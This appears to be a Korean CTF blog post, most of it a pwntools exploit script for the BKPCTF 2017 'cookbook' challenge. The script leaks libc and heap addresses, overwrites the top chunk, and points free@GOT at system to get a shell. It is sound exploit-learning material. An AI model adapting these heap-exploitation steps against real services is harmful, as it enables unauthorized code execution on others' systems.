-
BKPCTF cookbookPwnable/CTF 2017. 3. 31. 07:59123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101from pwn import *p=remote("localhost",9001)def Quit():p.recvuntil('[q]uit\n')free_got=0x804D018printf_got=0x804d010__libc_start_main_got=0x804D03Cprint p.recvuntil('name?\n')p.sendline("/bin/sh\00")def create_nd(input): #new and discard and quitQuit()p.sendline("c")Quit()p.sendline(str(input))def create_print():global systemQuit()p.sendline("c")Quit()p.sendline("p")p.recvuntil('recipe type: ')setv_buf=u32(p.recv(4))print "setv_buf libc : " + hex(setv_buf)system=setv_buf-0x27090print "system : " + hex(system)def give_your(size,data):Quit()p.sendline("g")p.recvuntil(': ')p.sendline(str(size))p.sendline(str(data))buf_got=0x804d040leak="\x00"*124+p32(buf_got) #libc_leakHEAP_leak="\x00"*124+p32(0x0804D0A0) #heap leaktop_int="\x00"*896+"\xff\xff\xff\xff" #top chunkcreate_nd("n")create_nd("d")create_nd("q")give_your(0x40c,leak)create_print()Quit()p.sendline("n")Quit()p.sendline("d")Quit()p.sendline("q")Quit()p.sendline("g")p.recvuntil(' : ')p.sendline("40c")p.sendline(HEAP_leak)Quit()p.sendline("c")Quit()p.sendline("p")print p.recvuntil('recipe type: ')heap=u32(p.recv(4))print "heap : " + hex(heap)TOP_CHUNK=heap + 1040 + 1040fake_size= hex((free_got - TOP_CHUNK )-8 )print "TOP CHUNK : " + hex(TOP_CHUNK)print "fake size : " + (fake_size)print "#### Exploit Start ####"Quit()p.sendline("q")Quit()p.sendline("c")Quit()p.sendline("n")Quit()p.sendline("i")p.sendline(top_int)Quit()p.sendline("q")Quit()p.sendline("g")print p.recvuntil(' : ')p.sendline(fake_size)Quit()p.sendline("g")print p.recvuntil(' : ')p.sendline("5") #Address 4byte + NULL 1bytep.sendline(p32(system))Quit()p.sendline("q")p.interactive()
cs UAF 취약점이 있는지 잘봐야겠다.
'Pwnable > CTF' 카테고리의 다른 글
Codegate 2016 floppy (0) 2017.06.10 DEFCON 2017 smashme (0) 2017.05.02 PlaidCTF 2014 kappa (0) 2017.03.14 PlaidCTF 2014 EZHP (2) 2017.03.10 codegate 2017 messenger (1) 2017.03.08